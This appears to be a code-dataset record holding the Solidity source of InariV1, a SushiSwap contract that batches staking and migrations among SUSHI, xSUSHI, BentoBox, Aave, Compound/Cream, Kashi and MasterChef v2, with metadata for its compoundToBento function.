/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
/// @notice Liquidity unzap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf());
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
receive() external payable { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) {
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
} | /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | NatSpecSingleLine | compoundToBento | function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
| /// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`. | NatSpecSingleLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
16381,
17054
]
} | 11,792 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | InariV1 | contract InariV1 is BoringBatchableWithDai, SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
/// @notice Initialize this Inari contract.
constructor() {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/**********
TKN HELPERS
**********/
function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.safeBalanceOfSelf());
}
/***********
CHEF HELPERS
***********/
function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
function balanceToMasterChefv2(uint256 pid, address to) external {
IERC20 lpToken = masterChefv2.lpToken(pid);
masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to);
}
/// @notice Liquidity zap into CHEF.
function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
/************
KASHI HELPERS
************/
function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = kashiPair.addAsset(to, true, balance);
}
function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) {
share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf());
}
/// @notice Liquidity zap into KASHI.
function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
/// @notice Liquidity unzap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
